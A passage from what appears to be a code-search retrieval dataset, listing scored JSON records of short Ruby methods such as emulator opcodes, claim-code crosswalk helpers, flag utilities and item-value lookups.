"b29a916dc0aa2a8e2175a6a50ea24a58", "score": "0.49233708", "text": "def ccf\n end", "title": "" }, { "docid": "3868a18ed50e8fffd04bca1d98a0fde1", "score": "0.49197742", "text": "def gp_flags=(_arg0); end", "title": "" }, { "docid": "40a263becb94ec3aeab3ca664e634a06", "score": "0.4914143", "text": "def scm_flags\n @flags.join(\" \")\n end", "title": "" }, { "docid": "da485106dffea14c465ac3f9f6f289d3", "score": "0.49132112", "text": "def cp_c\n end", "title": "" }, { "docid": "107a243099f34140f4730ace28d4b060", "score": "0.49128667", "text": "def flag\n flags.join(\", \")\n end", "title": "" }, { "docid": "df034585af6986785fa1cc5a0bbca4c5", "score": "0.4910885", "text": "def cops; end", "title": "" }, { "docid": "df034585af6986785fa1cc5a0bbca4c5", "score": "0.4910885", "text": "def cops; end", "title": "" }, { "docid": "df034585af6986785fa1cc5a0bbca4c5", "score": "0.4910885", "text": "def cops; end", "title": "" }, { "docid": "a528049fb6de37e07c68aeecf2072ed2", "score": "0.4908946", "text": "def get_cas02_code(crosswalked_codes)\n rcc_log.debug \"Obtaining CAS 02 code.\"\n if facility\n cas_02_config = facility.details[:cas_02].to_s.downcase.gsub(' ', '_')\n if facility.details[:rc_crosswalk_done_by_client]\n cas_02_config = 'hipaa_code'\n end\n rcc_log.debug \"CAS 02 config : #{facility.details[:cas_02]}\"\n if facility.enable_crosswalk.present? && cas_02_config.present? && crosswalked_codes\n cas_02_code = crosswalked_codes[cas_02_config.to_sym]\n end\n if(cas_02_code.blank?)\n rcc_log.debug \"New Reason Code or Reason Code without a crosswalk condition or crosswalking is not enabled.\"\n if crosswalked_codes && (cas_02_config == 'hipaa_code' || cas_02_config == 'client_code')\n rcc_log.debug \"Obtaining default code as CAS 02 code.\"\n cas_02_code = crosswalked_codes[:default_code]\n elsif cas_02_config == 'reason_code'\n rcc_log.debug \"Obtaining reason code as CAS 02 code.\"\n cas_02_code, desc = get_reason_code_and_description(crosswalked_codes)\n if cas_02_code.blank? && crosswalked_codes\n cas_02_code = crosswalked_codes[:hipaa_code_from_entity] if crosswalked_codes[:hipaa_code_from_entity].present?\n end\n end\n end\n rcc_log.debug \"CAS 02 code : #{cas_02_code}\"\n end\n cas_02_code.to_s.upcase\n end", "title": "" }, { "docid": "6c5d4e3652fbb2a6237c6a48141493de", "score": "0.49074185", "text": "def sub_c\n end", "title": "" }, { "docid": "a5886e6a4cd26c1b2c67c1e03ee33e49", "score": "0.49040422", "text": "def gp_flags; end", "title": "" }, { "docid": "507d46af90ebe99cf20b7e465255df88", "score": "0.490029", "text": "def flag; end", "title": "" }, { "docid": "c3310d68d8a1e1bf50267bb5a113dbc8", "score": "0.4890994", "text": "def flags\n match(/Flags\\s+:\\s+(.+)$/).split rescue []\n end", "title": "" }, { "docid": "c3310d68d8a1e1bf50267bb5a113dbc8", "score": "0.4890994", "text": "def flags\n match(/Flags\\s+:\\s+(.+)$/).split rescue []\n end", "title": "" }, { "docid": "354e5977627cf5883dbf47bcb8a42eff", "score": "0.48883232", "text": "def describe_flags(flags,format)\n d = ''\n flags.keys.each { |f|\n if f=='c' then\n if format=='tex' then f=\"$\\\\int$\" end\n if format=='plain' then f=\"(calculus)\" end\n if format=='html' then f=\"&int;\" end\n end\n if f=='s' && format=='tex' then f=\"${}_\\\\textup{s}$\" end\n d=d+f unless f=='o'\n }\n return d\nend", "title": "" }, { "docid": "f4f6c702db4fb3fbae9b1e9c969329df", "score": "0.48783022", "text": "def sbc_a_l\n end", "title": "" }, { "docid": "c779e802b33510e0962929f8778d6353", "score": "0.48782465", "text": "def flags\n [long, negative_long, short].compact\n end", "title": "" }, { "docid": "a01ae02539bf0369b4a67bad0c134485", "score": "0.48682016", "text": "def call_nz_a16\n # branch if Z flag is reset\n if (@f & Z_FLAG) == 0x00\n new_pc = $mmu.read_word @pc\n @pc += 2\n push_onto_stack @pc\n @pc = new_pc\n @branched = true\n else\n @pc += 2\n end\n end", "title": "" }, { "docid": "da6b2030c13d479f949f0b128f602d54", "score": "0.48640513", "text": "def codes; end", "title": "" }, { "docid": "626800f71e88acba371d66d75b07c153", "score": "0.4860631", "text": "def set_shift_flags_from(actual_value, expected_value, carry_flag, size)\n\t\tmsb = size - 1\n\t\t@flags.set_bit_at(CARRY_FLAG, carry_flag)\n\t\tset_zero_flag_from actual_value\n\t\tset_sign_flag_from actual_value, msb\n\t\tset_parity_flag_from actual_value, size\n\tend", "title": "" }, { "docid": "e4c90d9e3f26e98751595a73392e085f", "score": "0.4860012", "text": "def adc_a_hl\n end", "title": "" }, { "docid": "6b84e404c9f9669cfcd1e02e8292cd13", "score": "0.48581076", "text": "def adc_a_b\n end", "title": "" }, { "docid": "43cec98b9a8f6893e62204eff9715cdf", "score": "0.4855423", "text": "def swift_bic; end", "title": "" }, { "docid": "8703f5ddfc8cc9725c8b4b537684f5c4", "score": "0.4852393", "text": "def get_cas01_code(crosswalked_codes)\n rcc_log.debug \"Obtaining CAS 01 code.\"\n if facility && crosswalked_codes\n cas_01_config = facility.details[:cas_01].to_s.downcase.gsub(' ', '_')\n rcc_log.debug \"CAS 01 config : #{facility.details[:cas_01]}\"\n rcc_log.debug \"Obtaining Group code as CAS 01 code.\"\n cas_01_code = crosswalked_codes[cas_01_config.to_sym]\n rcc_log.debug \"CAS 01 code : #{cas_01_code}\"\n end\n cas_01_code.to_s.upcase\n end", "title": "" }, { "docid": "87354c39fbefc30911c284b971eebd6d", "score": "0.48508555", "text": "def adc_a_a\n end", "title": "" }, { "docid": "e503257b4dbcd60048c090db59464f26", "score": "0.48470452", "text": "def cmd_bcc(_args)\n #puts [:bcc, _args].inspect\n cond=check_cond(_args[0][0])\n if cond\n data=_args[1][0]\n #-negative data?\n data=(0x100-data)*(-1) if data&0x80\n @regs[:pc]+=data\n end\n end", "title": "" }, { "docid": "3170cfb8a83f35a23c0732d348b19d38", "score": "0.484686", "text": "def EVIOCGBIT(evtype, len=255); _IOC(_IOC_READ, 'E', 0x20 + evtype, len);end", "title": "" }, { "docid": "2ee6d9cce96eba7fa877e1e7291d8b89", "score": "0.48434502", "text": "def get_b_clase\n\t\t\t@@b\n\t\tend", "title": "" }, { "docid": "39d945266fdd668952f2d32d40ca0e5e", "score": "0.4842564", "text": "def sbc_a_d\n end", "title": "" }, { "docid": "5a4fae421e4bbe2192ea3ea52620820b", "score": "0.4840304", "text": "def opcode8\n if value_by_mode(1) == value_by_mode(2)\n update_value(1, 3)\n else\n update_value(0, 3)\n end\n move_pointer(4)\n end", "title": "" } ]
cded0842dcdc048c1dbec2b056de30d2
methods used to infer Itemvalue value of item as read from OS (via Facter)
[ { "docid": "2e7586297e38b1e9be76a1877c1289e8", "score": "0.59604156", "text": "def os_value\n Facter.value( @fact ) unless @fact.nil?\n end", "title": "" } ]
[ { "docid": "e3f2f58b35c53c5780091d3324597f71", "score": "0.6193306", "text": "def get(item)\n if values = @items[item]\n values[:value]\n end\n end", "title": "" }, { "docid": "b95b61f595a01c1edd8dba5a1ab6098e", "score": "0.6161818", "text": "def value\n cmd = \"#{resource[:tunable]}\"\n case cmd\n when 'schedo'\n schedo('-x', \"#{resource[:attribute]}\").split(',')[1].chomp\n when 'vmo'\n vmo('-x', \"#{resource[:attribute]}\").split(',')[1].chomp\n when 'ioo'\n ioo('-x', \"#{resource[:attribute]}\").split(',')[1].chomp\n when 'lvmo'\n lvmo('-x', \"#{resource[:attribute]}\").split(',')[1].chomp\n when 'no'\n no('-x', \"#{resource[:attribute]}\").split(',')[1].chomp\n when 'nfso'\n nfso('-x', \"#{resource[:attribute]}\").split(',')[1].chomp\n end\n end", "title": "" }, { "docid": "8247badef3c747e6549a2642f7bc9b8e", "score": "0.60087407", "text": "def value_for_item(it)\n it.data[uuid]\n end", "title": "" }, { "docid": "a71821ce20cb2a848c975297e83f54ed", "score": "0.5867499", "text": "def get_os_value\n Facter.value( @fact ) unless @fact.nil?\n end", "title": "" }, { "docid": "33e426c0937124f1de2ead0127175205", "score": "0.58586293", "text": "def item\n return $data_items[@item_id] if @item_type == 0\n return $data_weapons[@item_id] if @item_type == 1\n return $data_armors[@item_id] if @item_type == 2\n end", "title": "" }, { "docid": "b7dabfad6c71e74399dba6245c45b346", "score": "0.5820929", "text": "def item\n $data_items[1]\n end", "title": "" }, { "docid": "d87334068b0d053b4f3bf8dfd7f2f804", "score": "0.57930636", "text": "def item_value(item)\n return item_default_value(item) unless item_has_value?(item)\n val = @values.get_value(item.key)\n Settings.restore(val, item.type)\n end", "title": "" }, { "docid": "b46f4d0b5cdae02565c8dd12e729cc02", "score": "0.5786767", "text": "def value_read=(_arg0); end", "title": "" }, { "docid": "bc38792f2aa342deef82e644a4cb2a7d", "score": "0.5766085", "text": "def value_read; end", "title": "" }, { "docid": "1f3a9313f8147272fb82d40a426053c1", "score": "0.5757825", "text": "def get(item)\n @items[item]\n end", "title": "" }, { "docid": "eae9fd6f7317b1ad7c985aa31400f19e", "score": "0.57421786", "text": "def fs_value(p, val)\n key = case val\n when 'size'\n 'kb_size'\n when 'used'\n 'kb_used'\n when 'available'\n 'kb_available'\n when 'percent'\n 'percent_used'\n else\n fail \"fb_helpers: Unknown FS val #{val} for node.fs_value\"\n end\n fs = self.filesystem_data\n # Some things like /dev/root and rootfs have same mount point...\n if fs && fs['by_mountpoint'] && fs['by_mountpoint'][p] &&\n fs['by_mountpoint'][p][key]\n return fs['by_mountpoint'][p][key].to_f\n end\n\n Chef::Log.warn(\n \"fb_helpers: Tried to get filesystem information for '#{p}', but it \" +\n 'is not a recognized filesystem, or does not have the requested info.',\n )\n nil\n end", "title": "" }, { "docid": "733aa944a134f0387eb3619e14314b74", "score": "0.5742051", "text": "def fox_item\n @item\n end", "title": "" }, { "docid": "3db417f50234becba51f34f1b61d7a4c", "score": "0.56729764", "text": "def process_value(item)\n attachment_types = ['madb_swf_attachment', \n 'madb_file_attachment', \n 'madb_s3_attachment']\n \n if attachment_types.include? item[:data_type]\n download_url = \"#{request.protocol}#{request.host}#{request.port_string}/app/file_attachments/download/#{item[:id]}\"\n \n file_props = YAML::load item[:value]\n file_props[:download_url] = download_url\n item[:value] = file_props\n end\n return item[:value]\nend", "title": "" }, { "docid": "43abee05a3e4d8d46c7539555f362185", "score": "0.5649812", "text": "def item; @item; end", "title": "" }, { "docid": "43abee05a3e4d8d46c7539555f362185", "score": "0.5649812", "text": "def item; @item; end", "title": "" }, { "docid": "37ae678a4f329b39314324208739a207", "score": "0.5631482", "text": "def print_item(item)\n content = item.value\n\n case item.type\n when :string, :float, :integer then print content\n when :ident then print value_of(content)\n when :separator then print \"\\t\" if content == ','\n end\n end", "title": "" }, { "docid": "81d756fe4a25635e3d25f37526353128", "score": "0.5628083", "text": "def get_items input\n\t\t@items[input]\n\tend", "title": "" }, { "docid": "dbf444828e820150328c62ef226d796c", "score": "0.5581525", "text": "def lookup_value (workitem, options={})\n\n lookup_vf_attribute(workitem, 'value', options) ||\n lookup_vf_attribute(workitem, 'val', options)\n end", "title": "" }, { "docid": "1ac8853138628049d2e12374ad08e9f0", "score": "0.5572063", "text": "def cget item, key\n return @item_config[item][key]\n end", "title": "" }, { "docid": "d1ad1937d00de8df558044c271aeb04a", "score": "0.5559355", "text": "def get_items\n if get_data_type == TYPE_LIST\n return get_list_items\n elsif get_data_type == TYPE_STEMCELL_LINUX\n return get_linux_stemcells\n elsif get_data_type == TYPE_STEMCELL_WINDOWS\n return get_windows_stemcells\n else\n raise \"Items not available for type '#{get_data_type}\"\n end\n end", "title": "" }, { "docid": "7e1e70867b15c4c9c514229814d55f9b", "score": "0.554774", "text": "def state_value(item)\n return if item.blank?\n if item.is_a?(Symbol) || item.is_a?(String)\n item.to_sym\n elsif item.respond_to?(:state_value)\n item.state_value\n elsif item.is_a?(Model)\n raise \"#{item.class} does not support #{__method__}\"\n else\n raise \"#{__method__}: #{item.class}: invalid\"\n end\n end", "title": "" }, { "docid": "1f6e54a73cbf362b7d40c85726705dee", "score": "0.5539268", "text": "def get_facter_value(key)\n Facter.value(key.to_sym).to_s\n end", "title": "" }, { "docid": "1f6e54a73cbf362b7d40c85726705dee", "score": "0.5539268", "text": "def get_facter_value(key)\n Facter.value(key.to_sym).to_s\n end", "title": "" }, { "docid": "8a9f4cbdf1f3a03cc1d1c69c190c8c81", "score": "0.55255544", "text": "def getvalue(key)\n\n\t\tpath = \"/etc/libvirt/qemu/\" #Debian/ubuntu path for qemu's xml files\n\t\textension = \".xml\"\n\t\targuments = [key, path + resource[:name] + extension]\n\t\tline = grep arguments\n\t\n\t\treturn line.split('>')[1].split('<')[0]\t\n\n\tend", "title": "" }, { "docid": "686d8097a354a2bd6ad2abff7a78340e", "score": "0.54900074", "text": "def os_value\n if @value_os.nil?\n @value_os = get_os_value\n end\n @value_os\n end", "title": "" }, { "docid": "14b0713a4a51066a2ca8f164027896b1", "score": "0.5453724", "text": "def get_price item\n case item\n when \"001\"\n 9.25\n when \"002\"\n 45.0\n when \"003\"\n 19.95\n end\n end", "title": "" }, { "docid": "b2240eac0851db7b392a1ded868360cd", "score": "0.5450296", "text": "def fetch_item(data_bag, item)\n data = Chef::DSL::DataQuery.data_bag_item(data_bag, item)\n data = data.to_hash.reject do |key|\n %w(chef_type data_bag id).include?(key)\n end\n data\nrescue StandardError => e\n Chef::Log.warn \"#{self} could not find the environment named #{name}\"\n if ignore_missing then {}\n else raise\n end\nend", "title": "" }, { "docid": "2418c97eb5fafa9c48f2339199490e4a", "score": "0.54115045", "text": "def findVmItem(t, item)\n\tt = t.upcase\n\th = Hash[getFromApi('/api/v1/vmware/vm?is_relic=false&name='+t+'&primary_cluster_id=local')]\n#\tputs h['data'][0][item]\n\treturn h['data'][0][item]\nend", "title": "" }, { "docid": "604f204becc31165c12673ef2300f0b1", "score": "0.5407155", "text": "def item; end", "title": "" }, { "docid": "604f204becc31165c12673ef2300f0b1", "score": "0.5407155", "text": "def item; end", "title": "" }, { "docid": "604f204becc31165c12673ef2300f0b1", "score": "0.5406808", "text": "def item; end", "title": "" }, { "docid": "604f204becc31165c12673ef2300f0b1", "score": "0.5406808", "text": "def item; end", "title": "" }, { "docid": "604f204becc31165c12673ef2300f0b1", "score": "0.5406808", "text": "def item; end", "title": "" }, { "docid": "a31182a070ca1eb3839b6c349369234c", "score": "0.54061943", "text": "def get_value(field)\n field = item_type.find_field(field) unless field.is_a? Field\n field.value_for_item(self)\n end", "title": "" }, { "docid": "85a9303eff4171361e30857aaaa8b91d", "score": "0.5389103", "text": "def item_number(item)\n case item\n when RPG::Item\n number = @items[item.id]\n when RPG::Weapon\n number = @weapons[item.id]\n when RPG::Armor\n number = @armors[item.id]\n end\n return number == nil ? 0 : number\n end", "title": "" }, { "docid": "3dbd85734763d149186927259a35c0a7", "score": "0.53736967", "text": "def examine(item)\r\n \r\n end", "title": "" }, { "docid": "a2b5197d93d83f9d928934884dff1e85", "score": "0.53608733", "text": "def get_recommended_value\n os_value\n end", "title": "" }, { "docid": "a068bf42cafed807eae50db3d568d381", "score": "0.5349936", "text": "def get_value(item, key, default: nil, **)\n return if key.blank?\n if key.is_a?(Array)\n key.find { |k| (v = get_value(item, k)) and break v }\n elsif item.respond_to?(key)\n item.send(key)\n elsif item.respond_to?(:emma_metadata) # Upload, etc.\n item.emma_metadata&.dig(key.to_sym)\n elsif item.is_a?(Hash)\n item[key.to_sym] || item[key.to_s]\n end.presence || default\n end", "title": "" }, { "docid": "91225e1f602840525b0b71819f0cd4bf", "score": "0.5323775", "text": "def item\n item_type.name.classify.constantize.find(item_id)\n end", "title": "" }, { "docid": "aec7d48c4b764c9493ebf16c77dfaa60", "score": "0.531844", "text": "def normalize_item(type_name, item)\n return (item.nil?) ? item :\n case type_name\n when 'long', 'int' then Integer(item)\n when 'double', 'float' then Float(item)\n when 'boolean' then item.kind_of?(String) ?\n item.casecmp('true') == 0 : item\n else item\n end\n end", "title": "" }, { "docid": "8f7af44ef31fc0defb65caadc07ca94a", "score": "0.53057146", "text": "def items_value_calc(items)\n value = 0\n\n items.each do |item|\n value += item[:value]\n end\n\n value\n end", "title": "" }, { "docid": "e2ea0d26ae1c94b62d95bd36238fc8f7", "score": "0.5303621", "text": "def item_number\n self[:item_number]\n end", "title": "" }, { "docid": "28728b43553f887feeddb68dc84599ca", "score": "0.52871525", "text": "def set_item_value\n @item_value = ItemValue.find(params[:id])\n end", "title": "" }, { "docid": "954660e20dea2a47df4bc29bc1f7f9a9", "score": "0.5272242", "text": "def item_identity(item)\n # noinspection RubyMismatchedReturnType\n [self, self.class].find do |obj|\n %i[sid_value id_value].find do |meth|\n result = obj.try(meth, item) and return result\n end\n end\n end", "title": "" }, { "docid": "8c6c463332c15c2e69094fee74f81519", "score": "0.5268555", "text": "def get_fusion_vm_os(options)\n options['search'] = \"guestOS\"\n options['os-type'] = get_fusion_vm_vmx_file_value(options)\n if not options['os-type']\n options['search'] = \"guestos\"\n options['os-type'] = get_fusion_vm_vmx_file_value(options)\n end\n if not options['os-type']\n options['os-type'] = \"Unknown\"\n end\n return options['os-type']\nend", "title": "" }, { "docid": "64f8cfbf1768a8b6cf1fb65128160a78", "score": "0.5265474", "text": "def get_item_value(key)\n @attributes[key] = get_item_record(key) unless @attributes.has_key?(key)\n @attributes[key]\n end", "title": "" }, { "docid": "6525fe4c3589bbbcc690a485242e3d49", "score": "0.52651966", "text": "def lookup_variable_or_field_value (workitem)\n\n lookup_var_value(workitem) || lookup_field_value(workitem)\n end", "title": "" }, { "docid": "8dfc5c6a1f43bb3d38c888cf7acf2775", "score": "0.5258937", "text": "def get_item_info(pid)\n @item_info[pid] ||= query_library(pid)\n end", "title": "" }, { "docid": "158ecbf8c847ddbdc91acd190430aa8b", "score": "0.5254699", "text": "def fetch_value(value); end", "title": "" }, { "docid": "4c319260a31fdad7a046f0324fd3a892", "score": "0.5236106", "text": "def value_for_data(key, item, value_key = :value)\n if item and item[:data] and item[:data][key]\n return item[:data][key][value_key]\n end\n return nil\n end", "title": "" }, { "docid": "3bff2afffa7d94552557eeffd1063ee5", "score": "0.52215874", "text": "def item_type_id(item)\n case item\n when RPG::Item\n return 1\n when RPG::Weapon\n return 2\n when RPG::Armor\n return 3\n else\n return 0\n end\n end", "title": "" }, { "docid": "c20de382ab51e251693a82ad78b80118", "score": "0.5217489", "text": "def [](item)\n return (@usableItems ||= []).find { |x| x == item.to_sym }\n end", "title": "" }, { "docid": "ca0bdb2f33da1443dd81f51e4c4efd02", "score": "0.5215852", "text": "def get_value_for(item, by_means_of)\n by_means_of.respond_to?(:call) ? by_means_of.call(item) : item.send(by_means_of)\n end", "title": "" }, { "docid": "efbea6eb021115fe4243e6fd20398cb4", "score": "0.52060074", "text": "def GetOPCItem(arg0)\r\n ret = _invoke(1610743818, [arg0], [VT_I4])\r\n @lastargs = WIN32OLE::ARGV\r\n ret\r\n end", "title": "" }, { "docid": "12807c3e6e1be1bcee4f79e2ea3ad618", "score": "0.51987374", "text": "def name(item)\n return $data_items[item.item_id].name if item.item?\n return $data_system.item_types[item.category_id] if item.category?\n end", "title": "" }, { "docid": "27048473a42d7af358a53bf06ffd7a4a", "score": "0.51936525", "text": "def extension_item\n return @children['extension-item'][:value]\n end", "title": "" }, { "docid": "f3311607240e7ae513d6b9499914742f", "score": "0.5185425", "text": "def item=(item)\n @item = item\n end", "title": "" }, { "docid": "32b81400d8883bc80f40badc50611a74", "score": "0.5184259", "text": "def itemmoniker(io)\n :not_implemented\n end", "title": "" }, { "docid": "04b028a5b179ec06ca30b0b667c8ec79", "score": "0.5183247", "text": "def get_value_from_pid(field, value)\n attr_value = \"\"\n begin\n attr_value = ActiveFedora::Base.load_instance_from_solr(value.split(\"/\").last).name if field == \"desc_metadata__creator_sim\"\n attr_value = ActiveFedora::Base.load_instance_from_solr(value).title if field == \"collection_sim\"\n rescue => e\n logger.warn(\"WARN: Helper method get_value_from_pid raised an error when loading #{value}. Error was #{e}\")\n end\n return attr_value.blank? ? value : attr_value\n end", "title": "" }, { "docid": "4a2bc70f1a0fb783d374cbb9ee812e6f", "score": "0.5182952", "text": "def test_selectItem\n\t\t#vm = VendingMachine.new\n\t\tvm = VendingMachine.new(@db)\n\t\tvm.output = StringIO.new\n\t\t# vm.items[\"A1\"].quantity = 1\n\t\tvm.inputMoney(0.50)\n\t\titem = vm.selectItem(\"A1\")\n\t\tassert_not_nil(item)\n\t\tassert_equal(\"A1\", item.code)\n\t\tassert_equal(\"Almond Joy\", item.description)\n\tend", "title": "" }, { "docid": "fadbe67610c0af4cf27b8d31a98c938e", "score": "0.5181695", "text": "def attribute_list_value(params)\n column = param(params, :name)\n item = param(params, :item)\n\n if column && item\n type = param(params,:type,(item.attributes.include?(column.to_s) ? item.column_for_attribute(column).type : \"other\").to_s).to_s\n type = \"other_record\" if type == \"other\" && item.respond_to?(column.to_s + \"_id\")\n value = case type\n when 'string' then (item_raw_value(item, params) || \"\")\n when 'boolean' then item.send(attribute_name(params)) ? image_tag(\"/autocrud/images/tick.png\", :alt => t('true'), :title => t('true')) : image_tag(\"/autocrud/images/cross.png\", :alt => t('false'), :title => t('false'))\n when 'custom' then send(@singular.underscore+\"_\"+column.to_s+\"_list_value\".to_s, item)\n when 'other_record' then item.send(column).to_s\n when 'date' then item.send(attribute_name(params)) ? item.send(attribute_name(params)).strftime(\"%d-%m-%Y\") : \"\"\n when 'time' then item.send(attribute_name(params)) ? item.send(attribute_name(params)).strftime(\"%H:%M\") : \"\"\n when 'datetime' then item.send(attribute_name(params)) ? l(item.send(attribute_name(params))) : \"\"\n when 'paperclip' then item.send(column.to_s+'?') ? image_tag(item.send(column.to_s, param(params, :size))) : \"\"\n when 'currency' then number_to_currency(item.send(attribute_name(params)).to_f, :format => \"<span class='currency_show_symbol'>%u</span><span class='currency_show_value'>%n</span>\")\n when 'percentage' then number_to_percentage(item.send(attribute_name(params)).to_f)\n when 'select' then \n values = param(params,:select).collect{|element| element.is_a?(Array) && element.length == 2 ? element : [element.to_s, element.to_s]}.collect{|element| element[1] == item.send(attribute_name(params)).to_s ? element[0] : nil}.compact\n values.length > 0 ? values.first : item.send(attribute_name(params)).to_s\n else class_exists?('Lico::AutoCrud::Types::' + type.classify) ? get_class('Lico::AutoCrud::Types::' + type.classify).to_list_value(item, attribute_name(params)) : (item_raw_value(item, params) || \"\")\n end\n if display_link_to?(:show)\n return link_to(value, { :action => 'show', :id => item }, :class => 'dummy')\n else\n return value\n end\n else\n \treturn ''\n\t\t\t\tend\n end", "title": "" }, { "docid": "3b40d3c384f720236b268b1db382823c", "score": "0.5178326", "text": "def os\n Facter.value(:operatingsystem)\n end", "title": "" }, { "docid": "d2eb7bdb5f2e086dda730d24e157f3d2", "score": "0.51711446", "text": "def Item(arg0)\r\n ret = _invoke(1610743818, [arg0], [VT_VARIANT])\r\n @lastargs = WIN32OLE::ARGV\r\n ret\r\n end", "title": "" }, { "docid": "ff9a28685c66af077457850e2002b5d1", "score": "0.5152151", "text": "def pbItemIconFile(item)\n return nil if !item\n bitmapFileName = nil\n if item==0\n bitmapFileName = sprintf(\"Graphics/Icons/itemBack\")\n else\n bitmapFileName = sprintf(\"Graphics/Icons/item%s\",getConstantName(PBItems,item)) rescue nil\n if !pbResolveBitmap(bitmapFileName)\n bitmapFileName = sprintf(\"Graphics/Icons/item%03d\",item)\n if !pbResolveBitmap(bitmapFileName) && pbIsMachine?(item)\n move = pbGetMachine(item)\n type = PBMoveData.new(move).type\n bitmapFileName = sprintf(\"Graphics/Icons/itemMachine%s\",getConstantName(PBTypes,type)) rescue nil\n if !pbResolveBitmap(bitmapFileName)\n bitmapFileName = sprintf(\"Graphics/Icons/itemMachine%03d\",type)\n end\n end\n end\n end\n return bitmapFileName\nend", "title": "" }, { "docid": "4ef592654f44d1492174b2b1f6c97712", "score": "0.51462275", "text": "def get_exotic_value(value, value_type)\n result = nil\n begin\n if @form.name == 'infrastructure'\n if @screen.name == 'CPI'\n if @name == 'net_interface'\n\n #we get only ipv4 addresses\n Socket.ip_address_list.delete_if { |intfr| !intfr.ipv4? }.map {|intfr| intfr.ip_address}.each do |ipaddr|\n get_list_items[ipaddr.to_s] = ipaddr\n end\n elsif @name == 'nagios_email_server_auth_method'\n result = value.to_s\n end\n end\n end\n\n if result == nil\n result = handle_to_get_exotic_type(value)\n end\n rescue => ex\n $logger.warn \"Could not generate exotic value for '#{html_form_id}' - #{ex.message} : #{ex.backtrace}\"\n result = ''\n end\n\n result\n end", "title": "" }, { "docid": "852b88221815832b1e2253ba4fef9142", "score": "0.51406723", "text": "def select_value( item )\r\n select_item_in_select_list( :value , item )\r\n end", "title": "" }, { "docid": "42d9eeeb349d3e808c140b662a23333f", "score": "0.51384205", "text": "def getRarity(defindex = \"\")\n item = nil\n item = $itemh[\"items_game\"][\"items\"][defindex]\n if(!item.nil?)\n if(!item[\"item_rarity\"].nil?)\n return item[\"item_rarity\"].to_s\n else\n return \"common\"\n end\n else\n return \"common\"\n end\nend", "title": "" }, { "docid": "87aa803834e308d48bcb5e279a9df494", "score": "0.5131132", "text": "def saw_item(item); end", "title": "" }, { "docid": "cc7414bc6dca63a4e712f51b13b4ff21", "score": "0.51310945", "text": "def get_fusion_value(options)\n exists = check_fusion_vm_exists(options)\n fusion_vmx_file = get_fusion_vm_vmx_file(options)\n if exists == true\n message = \"Information:\\tGetting Parameter \"+options['param']+\" for \"+options['name']\n command = \"'#{options['vmrun']}' readVariable '#{fusion_vmx_file}' runtimeConfig '#{options['param']}'\"\n output = execute_command(options,message,command)\n handle_output(options,output)\n else\n handle_output(options,\"Warning:\\t#{options['vmapp']} VM #{options['name']} does not exist\")\n quit(options)\n end\n return\nend", "title": "" }, { "docid": "820bf5997096c843aeaba9e088e4d670", "score": "0.5123345", "text": "def on_get_item_attr(i)\n nil\n end", "title": "" }, { "docid": "d24e4c22bc27f082e989e7ce7db6c332", "score": "0.51180935", "text": "def get_item_type\n\tputs \"-----------------------------------------------------------------------------------------\"\n\tputs \"Select a number from the menu for the type of item you want:\"\n\tputs \"(1) Music \\n(2) Movie \\n(3) Bundle \\n(4) Game \\n(5) Software \\n(6) Other\"\n\n\t#Loop until a valid user input has been entered\n\tvalid_input = false\n\twhile !valid_input\n\t\tuser_input = gets.strip\n\n\t\t#Look for the correct input and return the correct value\n\t\tcase user_input\n\t\t\twhen '1'\n\t\t\t\treturn \"Music\"\n\t\t\twhen '2'\n\t\t\t\treturn \"Movie\"\n\t\t\twhen '3'\n\t\t\t\treturn \"Bundle\"\n\t\t\twhen '4'\n\t\t\t\treturn \"Game\"\n\t\t\twhen '5'\n\t\t\t\treturn \"Software\"\n\t\t\twhen '6'\n\t\t\t\treturn \"HardGood\"\n\t\t\telse\n\t\t\t\tputs \"You entered an invalid choice, please try again\"\n\t\t\tend\n\t\tend\nend", "title": "" }, { "docid": "bea1ec6f54836baab62d4c8e315bd278", "score": "0.5111778", "text": "def pbItemIconFile(item)\n return nil if !item\n bitmapFileName = nil\n if item==0\n bitmapFileName = sprintf(\"Graphics/Icons/itemBack\")\n else\n bitmapFileName = sprintf(\"Graphics/Icons/item%s\",getConstantName(PBItems,item)) rescue nil\n if !pbResolveBitmap(bitmapFileName)\n bitmapFileName = sprintf(\"Graphics/Icons/item%03d\",item)\n if !pbResolveBitmap(bitmapFileName) && pbIsMachine?(item)\n move = pbGetMachine(item)\n type = pbGetMoveData(move,MOVE_TYPE)\n bitmapFileName = sprintf(\"Graphics/Icons/itemMachine%s\",getConstantName(PBTypes,type)) rescue nil\n if !pbResolveBitmap(bitmapFileName)\n bitmapFileName = sprintf(\"Graphics/Icons/itemMachine%03d\",type)\n end\n end\n bitmapFileName = \"Graphics/Icons/item000\" if !pbResolveBitmap(bitmapFileName)\n end\n end\n return bitmapFileName\nend", "title": "" }, { "docid": "b036e16b97c4c0550713de1fa20c4ef6", "score": "0.51062644", "text": "def gms_find_code_value_item(items, code_value)\n items.each_item do |item|\n return item if item[CNCS] && item[CNCS].items[0][CV].value == code_value\n end\n\n nil\nend", "title": "" }, { "docid": "73e734b6e6db01fee0ef3e939b20c2c1", "score": "0.5100346", "text": "def get(value)\n ret = @items_hash[value]\n raise \"Invalid alphabet character used.\" if(ret == nil)\n ret\n end", "title": "" }, { "docid": "8e35abac260944a0a647af5184180c8d", "score": "0.5097539", "text": "def display_item_value(item, data_item)\n if data_item.list_preview_handler.nil?\n value = item.send(data_item.list_preview_accessor)\n return display_upload_item(value) if data_item.has_uploader?\n return display_related_item(data_item, item, value) if data_item.has_relation?\n else\n value = data_item.list_preview_handler.call(item)\n end\n return display_boolean_item(value) if !!value == value\n value.to_s.html_safe\n end", "title": "" }, { "docid": "2ef1106b9417b11818b88b291f8fd557", "score": "0.5096377", "text": "def value_of_yielded_item(item)\n item = yields.select { |y| y.item_id == item.id }.first\n if item.blank?\n 0\n else\n (reagent_cost / item.quantity).to_i\n end\n end", "title": "" }, { "docid": "8d91965140b2a574d6fa6bef454c5f5c", "score": "0.50868", "text": "def OPCItems()\r\n ret = _getproperty(0, [], [])\r\n @lastargs = WIN32OLE::ARGV\r\n ret\r\n end", "title": "" }, { "docid": "8d91965140b2a574d6fa6bef454c5f5c", "score": "0.50868", "text": "def OPCItems()\r\n ret = _getproperty(0, [], [])\r\n @lastargs = WIN32OLE::ARGV\r\n ret\r\n end", "title": "" }, { "docid": "d8a367856d7b45f06b38b5bb25ab25a7", "score": "0.50848687", "text": "def process_item item\n item.skip_query = true if @options[ :noninteractive ] >= NONINTERACTIVE\n if @options.fetch( :fail_on_missing_answers, false )\n item.fail_on_missing_answer = true\n end\n\n if @options[ :noninteractive ] == INTERACTIVE\n item.query\n else\n value = item.default_value_noninteractive\n\n if item.validate( value )\n item.value = value\n item.print_summary if 